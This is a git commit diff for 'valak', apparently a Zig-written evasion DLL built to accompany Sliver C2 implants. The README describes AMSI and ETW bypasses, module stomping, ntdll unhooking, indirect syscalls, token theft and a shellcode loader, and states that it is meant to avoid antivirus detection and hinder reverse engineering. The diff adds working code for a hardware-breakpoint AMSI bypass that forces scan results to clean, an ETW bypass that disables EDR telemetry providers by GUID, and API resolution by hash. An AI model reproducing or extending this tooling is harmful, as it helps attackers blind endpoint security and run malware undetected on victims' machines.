valak: asm arg1 fix, NT_SUCCESS i32, byte scan off-by-one, etw guids

This commit is contained in:
2026-07-18 09:30:00 +01:00
committed by JYenn
parent cc60a24d98
commit a1f467199f
17 changed files with 552 additions and 910 deletions
+14 -5
View File
@@ -12,11 +12,11 @@ ngl this is just for fun, im still running through the ziglings course etc tryin
## Why Zig over C ## Why Zig over C
No CRT. C programs pull in the C Runtime Library which adds DLL imports to your IAT. Zig just calls the OS. Smaller binary, less for AV to see. No CRT. C programs pull in the C Runtime Library which adds DLL imports to your IAT. Zig just calls the OS. Smaller binary, less for AV to see. [Zig ships its own libc, doesn't depend on it.](https://ziglang.org/learn/overview/)
Detection engines mostly know C, C++, Rust, Go. Detection engines mostly know C, C++, Rust, Go. As of mid-2026, [only one confirmed APT-grade Zig implant exists (VoidLink, Chinese-affiliated).](https://research.checkpoint.com/2026/voidlink-the-cloud-native-malware-framework/)
Ghidra struggles with Zig binaries (open bug). IDA doesn't properly support it either. Makes reverse engineering harder. [Ghidra struggles with Zig binaries (open bug).](https://github.com/NationalSecurityAgency/ghidra/issues/8694) IDA doesn't properly support it either. Makes reverse engineering harder.
Comptime makes sure struct layouts match the PE spec. Same low level control as C. Comptime makes sure struct layouts match the PE spec. Same low level control as C.
@@ -37,6 +37,11 @@ Every time Sliver would normally call `time.Sleep(interval)`, Valak runs this in
The callstack during sleep shows kernel32!BaseThreadInitThunk → ntdll!RtlUserThreadStart — what every legitimate Windows thread looks like. No gap, no zeroed return address. The callstack during sleep shows kernel32!BaseThreadInitThunk → ntdll!RtlUserThreadStart — what every legitimate Windows thread looks like. No gap, no zeroed return address.
Call `patch_amsi()` first, then `patch_etw()`. Both use DR0 on the current thread,
so the second call overwrites the first. AMSI is higher priority — one scan block
saves your whole process. ETW falls back to NtTraceControl which stops providers
at the kernel level without needing DR0.
## Evasion stack ## Evasion stack
| Technique | How | | Technique | How |
@@ -44,15 +49,19 @@ The callstack during sleep shows kernel32!BaseThreadInitThunk → ntdll!RtlUserT
| ChaCha20 encrypted .text sleep | SystemFunction040/041 → NtDelayExecution + PAGE_NOACCESS | | ChaCha20 encrypted .text sleep | SystemFunction040/041 → NtDelayExecution + PAGE_NOACCESS |
| Synthetic callstack frames | kernel32!BaseThreadInitThunk → ntdll!RtlUserThreadStart | | Synthetic callstack frames | kernel32!BaseThreadInitThunk → ntdll!RtlUserThreadStart |
| HWBP AMSI bypass | DR0 + VEH, no memory modified | | HWBP AMSI bypass | DR0 + VEH, no memory modified |
| HWBP ETW bypass | DR0 + VEH, no memory modified | | ETW bypass | NtTraceControl on EDR GUIDs, fallback to HWBP on EtwEventWrite |
| FreshyCalls syscall extraction | ntdll export table sorted by RVA, immune to inline hooks | | FreshyCalls syscall extraction | ntdll export table sorted by RVA, immune to inline hooks |
| Indirect syscalls | Random gadget pool (64+ `syscall;ret` from ntdll .text) | | Indirect syscalls | Random gadget pool (64+ `syscall;ret` from ntdll .text) |
| Module stomping | .text overwrite into signed Microsoft DLL + PE header wipe |
| ntdll unhooking | Clean .text from \KnownDlls\ntdll.dll section object |
| Token theft | NtOpenProcess → NtOpenProcessToken → NtDuplicateToken |
| Memory wipe | @memset to zero on cleanup |
| CRT-free | No libc import, minimal IAT footprint | | CRT-free | No libc import, minimal IAT footprint |
## Build ## Build
``` ```
cd evasion && zig build -Doptimize=ReleaseFast cd evasion && zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
# → zig-out/bin/valak.dll # → zig-out/bin/valak.dll
``` ```
+2 -2
View File
@@ -8,14 +8,14 @@ zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
# → zig-out/bin/valak.dll # → zig-out/bin/valak.dll
``` ```
cross-compiles from any OS. output is a PE32+ DLL for x64 Windows, about 80KB. cross-compiles from any OS. output is a PE32+ DLL for x64 Windows, about 100KB.
## build the loader (optional) ## build the loader (optional)
if you need a minimal shellcode loader to get your implant running: if you need a minimal shellcode loader to get your implant running:
```bash ```bash
# place your Sliver shellcode as valak.bin in the kage directory # drop your Sliver .bin as kage/src/payload.bin
cd ../kage cd ../kage
zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
# → zig-out/bin/kage.exe # → zig-out/bin/kage.exe
+19 -15
View File
@@ -1,23 +1,27 @@
// AMSI bypass via hardware breakpoint on AmsiScanBuffer. DR0 breakpoint, VEH handler // AMSI bypass via hardware breakpoint on AmsiScanBuffer. DR0 breakpoint, VEH handler
// sets RAX=0 and skips the call. No bytes modified in amsi.dll. // sets RAX=0 and skips the call. No bytes modified in amsi.dll.
const std = @import("std"); const std = @import("std");
const win = @import("win32.zig"); const windows = std.os.windows;
const nt = @import("nt.zig");
const api = @import("api.zig"); const api = @import("api.zig");
var g_veh_handle: ?*anyopaque = null; var g_veh_handle: ?*anyopaque = null;
var g_amsi_scan_addr: ?*anyopaque = null; var g_amsi_scan_addr: ?*anyopaque = null;
fn amsi_veh_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG { fn amsi_veh_handler(ex: *nt.EXCEPTION_POINTERS) callconv(nt.WINAPI) windows.LONG {
if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and if (ex.ExceptionRecord.ExceptionCode == nt.EXCEPTION_SINGLE_STEP and
ex.ExceptionRecord.ExceptionAddress == g_amsi_scan_addr) ex.ExceptionRecord.ExceptionAddress == g_amsi_scan_addr)
{ {
ex.ContextRecord.Rax = 0; ex.ContextRecord.Rax = 0; // AMSI_RESULT_CLEAN
const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*; const ret_addr = @as(*const usize, @ptrCast(@alignCast(@as(
ex.ContextRecord.Rip = ret_addr; *const anyopaque,
ex.ContextRecord.Rsp += 8; @ptrFromInt(ex.ContextRecord.Rsp),
return win.EXCEPTION_CONTINUE_EXECUTION; )))).*;
ex.ContextRecord.Rip = ret_addr; // jump to caller's return address
ex.ContextRecord.Rsp += 8; // pop return address off stack
return nt.EXCEPTION_CONTINUE_EXECUTION;
} }
return win.EXCEPTION_CONTINUE_SEARCH; return nt.EXCEPTION_CONTINUE_SEARCH;
} }
pub fn patch_amsi() void { pub fn patch_amsi() void {
@@ -36,16 +40,16 @@ pub fn patch_amsi() void {
if (g_amsi_scan_addr == null) return; if (g_amsi_scan_addr == null) return;
g_veh_handle = veh(1, amsi_veh_handler); g_veh_handle = veh(1, amsi_veh_handler);
const thread = cur_thread(); const thread = cur_thread();
var ctx = std.mem.zeroes(win.CONTEXT); var ctx = std.mem.zeroes(nt.CONTEXT);
ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS; ctx.ContextFlags = nt.CONTEXT_DEBUG_REGISTERS;
ctx.Dr0 = @intFromPtr(g_amsi_scan_addr.?); ctx.Dr0 = @intFromPtr(g_amsi_scan_addr.?);
ctx.Dr7 = (1 << 0); ctx.Dr7 = (1 << 0); // enable local breakpoint 0
_ = suspend_thread(thread); _ = suspend_thread(thread);
_ = set_ctx(thread, &ctx); _ = set_ctx(thread, &ctx);
_ = resume_thread(thread); _ = resume_thread(thread);
} }
// Undo AMSI bypass, remove VEH handler and clear DR0/DR7. // Remove VEH handler, clear DR0 and DR7.
pub fn unpatch_amsi() void { pub fn unpatch_amsi() void {
if (g_veh_handle) |h| { if (g_veh_handle) |h| {
if (api.amsi_remove_vectored_exception_handler) |remove| { if (api.amsi_remove_vectored_exception_handler) |remove| {
@@ -59,8 +63,8 @@ pub fn unpatch_amsi() void {
if (api.amsi_suspend_thread) |suspend_t| { if (api.amsi_suspend_thread) |suspend_t| {
if (api.amsi_resume_thread) |resume_t| { if (api.amsi_resume_thread) |resume_t| {
const thread = cur_thread(); const thread = cur_thread();
var ctx = std.mem.zeroes(win.CONTEXT); var ctx = std.mem.zeroes(nt.CONTEXT);
ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS; ctx.ContextFlags = nt.CONTEXT_DEBUG_REGISTERS;
ctx.Dr0 = 0; ctx.Dr0 = 0;
ctx.Dr7 = 0; ctx.Dr7 = 0;
_ = suspend_t(thread); _ = suspend_t(thread);
+36 -38
View File
@@ -1,28 +1,28 @@
const win = @import("win32.zig"); // resolved function pointers from kernel32 + advapi32. all peb-walked, no iat entries added.
const windows = @import("std").os.windows;
const nt = @import("nt.zig");
const resolve = @import("resolve.zig"); const resolve = @import("resolve.zig");
const apitypes = @import("apitypes.zig");
pub const T_sleep_SystemFunction040 = apitypes.T_sleep_SystemFunction040; pub const hash_ror13 = resolve.hash_ror13;
pub const T_sleep_SystemFunction041 = apitypes.T_sleep_SystemFunction041; pub const resolve_api = resolve.resolve_api;
pub const T_comms_LoadLibraryA = apitypes.T_comms_LoadLibraryA; pub const get_module_by_hash = resolve.get_module_by_hash;
pub const T_amsi_LoadLibraryW = apitypes.T_amsi_LoadLibraryW; pub const get_func_by_hash = resolve.get_func_by_hash;
pub const T_amsi_GetProcAddress = apitypes.T_amsi_GetProcAddress; pub const NT_SUCCESS = nt.NT_SUCCESS;
pub const T_amsi_AddVectoredExceptionHandler = apitypes.T_amsi_AddVectoredExceptionHandler;
pub const T_amsi_RemoveVectoredExceptionHandler = apitypes.T_amsi_RemoveVectoredExceptionHandler; pub const T_sleep_SystemFunction040 = *const fn (*anyopaque, windows.ULONG, windows.ULONG) callconv(nt.WINAPI) windows.NTSTATUS;
pub const T_amsi_GetCurrentThread = apitypes.T_amsi_GetCurrentThread; pub const T_sleep_SystemFunction041 = *const fn (*anyopaque, windows.ULONG, windows.ULONG) callconv(nt.WINAPI) windows.NTSTATUS;
pub const T_amsi_SetThreadContext = apitypes.T_amsi_SetThreadContext; pub const T_comms_LoadLibraryA = *const fn (lpLibFileName: windows.LPCSTR) callconv(nt.WINAPI) windows.HMODULE;
pub const T_amsi_SuspendThread = apitypes.T_amsi_SuspendThread; pub const T_amsi_LoadLibraryW = *const fn (lpLibFileName: [*:0]const u16) callconv(nt.WINAPI) ?windows.HMODULE;
pub const T_amsi_ResumeThread = apitypes.T_amsi_ResumeThread; pub const T_amsi_GetProcAddress = *const fn (hModule: windows.HMODULE, lpProcName: [*:0]const u8) callconv(nt.WINAPI) ?*anyopaque;
pub const T_etw_GetProcAddress = apitypes.T_etw_GetProcAddress; pub const T_amsi_AddVectoredExceptionHandler = *const fn (dwFirst: windows.ULONG, handler: *const fn (*nt.EXCEPTION_POINTERS) callconv(nt.WINAPI) windows.LONG) callconv(nt.WINAPI) ?*anyopaque;
pub const hash_ror13 = apitypes.hash_ror13; pub const T_amsi_RemoveVectoredExceptionHandler = *const fn (handle: *anyopaque) callconv(nt.WINAPI) windows.ULONG;
pub const resolve_api = apitypes.resolve_api; pub const T_amsi_GetCurrentThread = *const fn () callconv(nt.WINAPI) windows.HANDLE;
pub const get_module_by_hash = apitypes.get_module_by_hash; pub const T_amsi_SetThreadContext = *const fn (hThread: windows.HANDLE, lpContext: *const nt.CONTEXT) callconv(nt.WINAPI) windows.BOOL;
pub const get_func_by_hash = apitypes.get_func_by_hash; pub const T_amsi_SuspendThread = *const fn (hThread: windows.HANDLE) callconv(nt.WINAPI) windows.DWORD;
pub const NT_SUCCESS = apitypes.NT_SUCCESS; pub const T_amsi_ResumeThread = *const fn (hThread: windows.HANDLE) callconv(nt.WINAPI) windows.DWORD;
pub const BCRYPT_INIT_AUTH_MODE_INFO = apitypes.BCRYPT_INIT_AUTH_MODE_INFO; pub const T_etw_GetProcAddress = *const fn (hModule: windows.HMODULE, lpProcName: [*:0]const u8) callconv(nt.WINAPI) ?*anyopaque;
pub var comms_load_library_a: ?T_comms_LoadLibraryA = null; pub var comms_load_library_a: ?T_comms_LoadLibraryA = null;
pub var sleep_SystemFunction040: ?T_sleep_SystemFunction040 = null; pub var sleep_SystemFunction040: ?T_sleep_SystemFunction040 = null;
pub var sleep_SystemFunction041: ?T_sleep_SystemFunction041 = null; pub var sleep_SystemFunction041: ?T_sleep_SystemFunction041 = null;
@@ -37,9 +37,9 @@ pub var amsi_resume_thread: ?T_amsi_ResumeThread = null;
pub var etw_get_proc_address: ?T_etw_GetProcAddress = null; pub var etw_get_proc_address: ?T_etw_GetProcAddress = null;
pub var hwbp_add_veh: ?*const fn (first: win.ULONG, handler: *const fn (*win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG) callconv(win.WINAPI) ?*anyopaque = null; pub var hwbp_add_veh: ?*const fn (first: windows.ULONG, handler: *const fn (*nt.EXCEPTION_POINTERS) callconv(nt.WINAPI) windows.LONG) callconv(nt.WINAPI) ?*anyopaque = null;
pub var hwbp_get_thread: ?*const fn () callconv(win.WINAPI) win.HANDLE = null; pub var hwbp_get_thread: ?*const fn () callconv(nt.WINAPI) windows.HANDLE = null;
pub var hwbp_set_thread_ctx: ?*const fn (win.HANDLE, *const win.CONTEXT) callconv(win.WINAPI) win.BOOL = null; pub var hwbp_set_thread_ctx: ?*const fn (windows.HANDLE, *const nt.CONTEXT) callconv(nt.WINAPI) windows.BOOL = null;
var g_ensure_done: bool = false; var g_ensure_done: bool = false;
@@ -50,39 +50,37 @@ pub fn ensure() void {
const k32_hash = hash_ror13("kernel32.dll"); const k32_hash = hash_ror13("kernel32.dll");
if (comms_load_library_a == null) { if (comms_load_library_a == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryA"))) |p| { if (resolve_api(k32_hash, hash_ror13("LoadLibraryA"))) |p| comms_load_library_a = @ptrCast(p);
comms_load_library_a = @ptrCast(p);
}
} }
if (amsi_load_library_w == null) { if (amsi_load_library_w == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryW"))) |p| amsi_load_library_w = @ptrCast(p); if (resolve_api(k32_hash, hash_ror13("LoadLibraryW"))) |p| amsi_load_library_w = @ptrCast(p);
} }
if (amsi_get_proc_address == null) { if (amsi_get_proc_address == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetProcAddress"))) |p| { if (resolve_api(k32_hash, hash_ror13("GetProcAddress"))) |p| {
amsi_get_proc_address = @ptrCast(p); amsi_get_proc_address = @ptrCast(p);
etw_get_proc_address = @ptrCast(p); etw_get_proc_address = @ptrCast(p);
} }
} }
if (amsi_add_vectored_exception_handler == null) { if (amsi_add_vectored_exception_handler == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("AddVectoredExceptionHandler"))) |p| amsi_add_vectored_exception_handler = @ptrCast(p); if (resolve_api(k32_hash, hash_ror13("AddVectoredExceptionHandler"))) |p| amsi_add_vectored_exception_handler = @ptrCast(p);
} }
if (amsi_remove_vectored_exception_handler == null) { if (amsi_remove_vectored_exception_handler == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("RemoveVectoredExceptionHandler"))) |p| amsi_remove_vectored_exception_handler = @ptrCast(p); if (resolve_api(k32_hash, hash_ror13("RemoveVectoredExceptionHandler"))) |p| amsi_remove_vectored_exception_handler = @ptrCast(p);
} }
if (amsi_get_current_thread == null) { if (amsi_get_current_thread == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetCurrentThread"))) |p| amsi_get_current_thread = @ptrCast(p); if (resolve_api(k32_hash, hash_ror13("GetCurrentThread"))) |p| amsi_get_current_thread = @ptrCast(p);
} }
if (amsi_set_thread_context == null) { if (amsi_set_thread_context == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("SetThreadContext"))) |p| amsi_set_thread_context = @ptrCast(p); if (resolve_api(k32_hash, hash_ror13("SetThreadContext"))) |p| amsi_set_thread_context = @ptrCast(p);
} }
if (amsi_suspend_thread == null) { if (amsi_suspend_thread == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("SuspendThread"))) |p| amsi_suspend_thread = @ptrCast(p); if (resolve_api(k32_hash, hash_ror13("SuspendThread"))) |p| amsi_suspend_thread = @ptrCast(p);
} }
if (amsi_resume_thread == null) { if (amsi_resume_thread == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("ResumeThread"))) |p| amsi_resume_thread = @ptrCast(p); if (resolve_api(k32_hash, hash_ror13("ResumeThread"))) |p| amsi_resume_thread = @ptrCast(p);
} }
if (hwbp_add_veh == null) hwbp_add_veh = amsi_add_vectored_exception_handler; if (hwbp_add_veh == null) hwbp_add_veh = amsi_add_vectored_exception_handler;
@@ -91,8 +89,8 @@ pub fn ensure() void {
if (sleep_SystemFunction040 == null) { if (sleep_SystemFunction040 == null) {
const advapi_hash = hash_ror13("advapi32.dll"); const advapi_hash = hash_ror13("advapi32.dll");
_ = resolve.get_module_by_hash(advapi_hash); _ = get_module_by_hash(advapi_hash);
if (resolve.resolve_api(advapi_hash, hash_ror13("SystemFunction040"))) |p| sleep_SystemFunction040 = @ptrCast(p); if (resolve_api(advapi_hash, hash_ror13("SystemFunction040"))) |p| sleep_SystemFunction040 = @ptrCast(p);
if (resolve.resolve_api(advapi_hash, hash_ror13("SystemFunction041"))) |p| sleep_SystemFunction041 = @ptrCast(p); if (resolve_api(advapi_hash, hash_ror13("SystemFunction041"))) |p| sleep_SystemFunction041 = @ptrCast(p);
} }
} }
-26
View File
@@ -1,26 +0,0 @@
const win = @import("win32.zig");
const resolve = @import("resolve.zig");
pub const hash_ror13 = resolve.hash_ror13;
pub const resolve_api = resolve.resolve_api;
pub const get_module_by_hash = resolve.get_module_by_hash;
pub const get_func_by_hash = resolve.get_func_by_hash;
pub const NT_SUCCESS = win.NT_SUCCESS;
pub const BCRYPT_INIT_AUTH_MODE_INFO = win.BCRYPT_INIT_AUTH_MODE_INFO;
pub const T_sleep_SystemFunction040 = *const fn (*anyopaque, win.ULONG, win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_sleep_SystemFunction041 = *const fn (*anyopaque, win.ULONG, win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_comms_LoadLibraryA = *const fn (lpLibFileName: win.LPCSTR) callconv(win.WINAPI) win.HMODULE;
pub const T_amsi_LoadLibraryW = *const fn (lpLibFileName: [*:0]const u16) callconv(win.WINAPI) ?win.HMODULE;
pub const T_amsi_GetProcAddress = *const fn (hModule: win.HMODULE, lpProcName: [*:0]const u8) callconv(win.WINAPI) ?*anyopaque;
pub const T_amsi_AddVectoredExceptionHandler = *const fn (dwFirst: win.ULONG, handler: *const fn (*win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG) callconv(win.WINAPI) ?*anyopaque;
pub const T_amsi_RemoveVectoredExceptionHandler = *const fn (handle: *anyopaque) callconv(win.WINAPI) win.ULONG;
pub const T_amsi_GetCurrentThread = *const fn () callconv(win.WINAPI) win.HANDLE;
pub const T_amsi_SetThreadContext = *const fn (hThread: win.HANDLE, lpContext: *const win.CONTEXT) callconv(win.WINAPI) win.BOOL;
pub const T_amsi_SuspendThread = *const fn (hThread: win.HANDLE) callconv(win.WINAPI) win.DWORD;
pub const T_amsi_ResumeThread = *const fn (hThread: win.HANDLE) callconv(win.WINAPI) win.DWORD;
pub const T_etw_GetProcAddress = *const fn (hModule: win.HMODULE, lpProcName: [*:0]const u8) callconv(win.WINAPI) ?*anyopaque;
+1
View File
@@ -91,4 +91,5 @@ hell_descent:
push r9 push r9
.Ldone: .Ldone:
mov r9, rcx // restore arg4 mov r9, rcx // restore arg4
mov rcx, r10 // restore arg1
jmp r11 jmp r11
+44 -15
View File
@@ -2,7 +2,8 @@
// NtTraceControl for known EDR provider GUIDs as best-effort tier. Kernel TI // NtTraceControl for known EDR provider GUIDs as best-effort tier. Kernel TI
// provider emits from ntoskrnl.exe, user-mode EtwEventWrite HWBP cannot stop it. // provider emits from ntoskrnl.exe, user-mode EtwEventWrite HWBP cannot stop it.
const std = @import("std"); const std = @import("std");
const win = @import("win32.zig"); const windows = std.os.windows;
const nt = @import("nt.zig");
const api = @import("api.zig"); const api = @import("api.zig");
const resolve = @import("resolve.zig"); const resolve = @import("resolve.zig");
const syscall = @import("syscall.zig"); const syscall = @import("syscall.zig");
@@ -11,22 +12,26 @@ var g_etw_patched: bool = false;
var g_etw_hwbp_veh: ?*anyopaque = null; var g_etw_hwbp_veh: ?*anyopaque = null;
var g_etw_event_write_addr: ?*anyopaque = null; var g_etw_event_write_addr: ?*anyopaque = null;
fn etw_hwbp_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG { fn etw_hwbp_handler(ex: *nt.EXCEPTION_POINTERS) callconv(nt.WINAPI) windows.LONG {
if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and if (ex.ExceptionRecord.ExceptionCode == nt.EXCEPTION_SINGLE_STEP and
ex.ExceptionRecord.ExceptionAddress == g_etw_event_write_addr) ex.ExceptionRecord.ExceptionAddress == g_etw_event_write_addr)
{ {
const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*; const ret_addr = @as(*const usize, @ptrCast(@alignCast(@as(
*const anyopaque,
@ptrFromInt(ex.ContextRecord.Rsp),
)))).*;
ex.ContextRecord.Rip = ret_addr; ex.ContextRecord.Rip = ret_addr;
ex.ContextRecord.Rsp += 8; ex.ContextRecord.Rsp += 8;
return win.EXCEPTION_CONTINUE_EXECUTION; return nt.EXCEPTION_CONTINUE_EXECUTION;
} }
return win.EXCEPTION_CONTINUE_SEARCH; return nt.EXCEPTION_CONTINUE_SEARCH;
} }
fn try_hwbp_etw_bypass(ntdll: *anyopaque) bool { fn try_hwbp_etw_bypass(ntdll: *anyopaque) bool {
const get_addr = api.etw_get_proc_address orelse return false; const get_addr: *const fn (windows.HMODULE, [*:0]const u8) callconv(nt.WINAPI) ?*anyopaque = @ptrCast(api.etw_get_proc_address orelse return false);
var etw_write = get_addr(ntdll, "EtwEventWrite"); const hmod: windows.HMODULE = @ptrCast(ntdll);
if (etw_write == null) etw_write = get_addr(ntdll, "EtwEventWriteFull"); var etw_write = get_addr(hmod, "EtwEventWrite");
if (etw_write == null) etw_write = get_addr(hmod, "EtwEventWriteFull");
if (etw_write == null) return false; if (etw_write == null) return false;
g_etw_event_write_addr = etw_write; g_etw_event_write_addr = etw_write;
@@ -38,21 +43,41 @@ fn try_hwbp_etw_bypass(ntdll: *anyopaque) bool {
g_etw_hwbp_veh = veh(1, etw_hwbp_handler); g_etw_hwbp_veh = veh(1, etw_hwbp_handler);
if (g_etw_hwbp_veh == null) return false; if (g_etw_hwbp_veh == null) return false;
const suspend_thread = api.amsi_suspend_thread orelse return false;
const resume_thread = api.amsi_resume_thread orelse return false;
const thread = cur_thread(); const thread = cur_thread();
var ctx = std.mem.zeroes(win.CONTEXT); _ = suspend_thread(thread);
ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS; var ctx = std.mem.zeroes(nt.CONTEXT);
ctx.ContextFlags = nt.CONTEXT_DEBUG_REGISTERS;
ctx.Dr0 = @intFromPtr(g_etw_event_write_addr.?); ctx.Dr0 = @intFromPtr(g_etw_event_write_addr.?);
ctx.Dr7 = (1 << 0); ctx.Dr7 = (1 << 0);
_ = set_ctx(thread, &ctx); _ = set_ctx(thread, &ctx);
_ = resume_thread(thread);
return true; return true;
} }
// Best-effort NtTraceControl(code=2) on known EDR provider GUIDs.
// User-mode providers only. Kernel (Threat-Intelligence) silently ignored.
// HWBP on EtwEventWrite (tier 2) catches everything this misses.
const edr_provider_guids = [_][16]u8{ const edr_provider_guids = [_][16]u8{
// Microsoft-Windows-Threat-Intelligence — kernel-level, NtTraceControl NO-OP from userland
.{ 0x7C, 0x89, 0xE1, 0xF4, 0x5D, 0xBB, 0x68, 0x56, 0xF1, 0xD8, 0x04, 0x0F, 0x4D, 0x8D, 0xD3, 0x44 }, .{ 0x7C, 0x89, 0xE1, 0xF4, 0x5D, 0xBB, 0x68, 0x56, 0xF1, 0xD8, 0x04, 0x0F, 0x4D, 0x8D, 0xD3, 0x44 },
// Microsoft-Windows-Kernel-Process — process/thread creation, image loads
.{ 0xD6, 0x2C, 0xFB, 0x22, 0x7B, 0x0E, 0x2B, 0x42, 0xA0, 0xC7, 0x2F, 0xAD, 0x1F, 0xD0, 0xE7, 0x16 }, .{ 0xD6, 0x2C, 0xFB, 0x22, 0x7B, 0x0E, 0x2B, 0x42, 0xA0, 0xC7, 0x2F, 0xAD, 0x1F, 0xD0, 0xE7, 0x16 },
// Vendor-specific EDR provider (tested against Sophos, unregistered on stock Win10)
.{ 0x28, 0xEF, 0xE5, 0xFA, 0xE9, 0x8C, 0xEB, 0x5D, 0x44, 0xEB, 0x74, 0xE7, 0xDA, 0xAC, 0x1E, 0xDF }, .{ 0x28, 0xEF, 0xE5, 0xFA, 0xE9, 0x8C, 0xEB, 0x5D, 0x44, 0xEB, 0x74, 0xE7, 0xDA, 0xAC, 0x1E, 0xDF },
// Microsoft-Windows-Kernel-Audit-API-Calls — syscall auditing
.{ 0x1C, 0x84, 0x2A, 0xE0, 0xA3, 0x75, 0xA7, 0x4F, 0xAF, 0xC8, 0xAE, 0x09, 0xCF, 0x9B, 0x7F, 0x23 },
// Microsoft-Windows-Kernel-File — file I/O
.{ 0x27, 0x89, 0xD0, 0xED, 0xC4, 0x9C, 0x65, 0x4E, 0xB9, 0x70, 0xC2, 0x56, 0x0F, 0xB5, 0xC2, 0x89 },
// Microsoft-Windows-Kernel-Registry — registry operations
.{ 0x03, 0x4F, 0xEB, 0x70, 0xDE, 0xC1, 0x73, 0x4F, 0xA0, 0x51, 0x33, 0xD1, 0x3D, 0x54, 0x13, 0xBD },
// Microsoft-Windows-Kernel-Network — TCP/UDP connections
.{ 0x49, 0x2A, 0xD4, 0x7D, 0x29, 0x53, 0x32, 0x48, 0x8D, 0xFD, 0x43, 0xD9, 0x79, 0x15, 0x3A, 0x88 },
}; };
// Tier 1: try NtTraceControl. If any succeed, done.
// Tier 2: fall back to HWBP on EtwEventWrite.
pub fn patch_etw() void { pub fn patch_etw() void {
if (g_etw_patched) return; if (g_etw_patched) return;
api.ensure(); api.ensure();
@@ -60,9 +85,9 @@ pub fn patch_etw() void {
var stopped_any = false; var stopped_any = false;
for (&edr_provider_guids) |*guid| { for (&edr_provider_guids) |*guid| {
var ret_len: win.ULONG = 0; var ret_len: windows.ULONG = 0;
const st = syscall.nt_trace_control(2, @constCast(guid), 16, null, 0, &ret_len); const st = syscall.nt_trace_control(2, @constCast(guid), 16, null, 0, &ret_len);
if (win.NT_SUCCESS(st)) { if (nt.NT_SUCCESS(st)) {
stopped_any = true; stopped_any = true;
} }
} }
@@ -90,11 +115,15 @@ pub fn unpatch_etw() void {
const cur_thread = api.hwbp_get_thread orelse return; const cur_thread = api.hwbp_get_thread orelse return;
const set_ctx = api.hwbp_set_thread_ctx orelse return; const set_ctx = api.hwbp_set_thread_ctx orelse return;
const suspend_t = api.amsi_suspend_thread orelse return;
const resume_t = api.amsi_resume_thread orelse return;
const thread = cur_thread(); const thread = cur_thread();
var ctx = std.mem.zeroes(win.CONTEXT); _ = suspend_t(thread);
ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS; var ctx = std.mem.zeroes(nt.CONTEXT);
ctx.ContextFlags = nt.CONTEXT_DEBUG_REGISTERS;
ctx.Dr0 = 0; ctx.Dr0 = 0;
ctx.Dr7 = 0; ctx.Dr7 = 0;
_ = set_ctx(thread, &ctx); _ = set_ctx(thread, &ctx);
_ = resume_t(thread);
} }
} }
+33 -34
View File
@@ -4,12 +4,14 @@
const std = @import("std"); const std = @import("std");
const resolve = @import("resolve.zig"); const resolve = @import("resolve.zig");
const syscall = @import("syscall.zig"); const syscall = @import("syscall.zig");
const pe = @import("pe.zig");
extern var qFakeRtlUserThreadStart: usize; extern var qFakeRtlUserThreadStart: usize;
extern var qFakeBaseThreadInitThunk: usize; extern var qFakeBaseThreadInitThunk: usize;
extern var qRtlUserFrameSize: usize; extern var qRtlUserFrameSize: usize;
extern var qBaseThreadFrameSize: usize; extern var qBaseThreadFrameSize: usize;
// x64 unwind opcodes from the PE/COFF spec.
const UWOP_PUSH_NONVOL: u8 = 0; const UWOP_PUSH_NONVOL: u8 = 0;
const UWOP_ALLOC_LARGE: u8 = 1; const UWOP_ALLOC_LARGE: u8 = 1;
const UWOP_ALLOC_SMALL: u8 = 2; const UWOP_ALLOC_SMALL: u8 = 2;
@@ -19,6 +21,7 @@ const UWOP_SAVE_NONVOL_FAR: u8 = 5;
const UNW_FLAG_CHAININFO: u8 = 0x04; const UNW_FLAG_CHAININFO: u8 = 0x04;
const RBP_OP_INFO: u8 = 5; const RBP_OP_INFO: u8 = 5;
// Compute total frame size from .pdata UNWIND_INFO.
fn calc_frame_size(mod_base: [*]const u8, unwind_rva: u32, out_size: *usize) bool { fn calc_frame_size(mod_base: [*]const u8, unwind_rva: u32, out_size: *usize) bool {
const info = @as(*align(1) const extern struct { const info = @as(*align(1) const extern struct {
VersionAndFlags: u8, VersionAndFlags: u8,
@@ -35,8 +38,8 @@ fn calc_frame_size(mod_base: [*]const u8, unwind_rva: u32, out_size: *usize) boo
while (idx < info.CountOfCodes) : (idx += 1) { while (idx < info.CountOfCodes) : (idx += 1) {
const code = info.UnwindCode[idx]; const code = info.UnwindCode[idx];
const op = @as(u8, @truncate(code & 0xF)); const op: u8 = @truncate(code & 0xF);
const info_field = @as(u8, @truncate((code >> 4) & 0xF)); const info_field: u8 = @truncate((code >> 4) & 0xF);
switch (op) { switch (op) {
UWOP_PUSH_NONVOL => { UWOP_PUSH_NONVOL => {
@@ -73,7 +76,6 @@ fn calc_frame_size(mod_base: [*]const u8, unwind_rva: u32, out_size: *usize) boo
} }
} }
// Chained unwind info
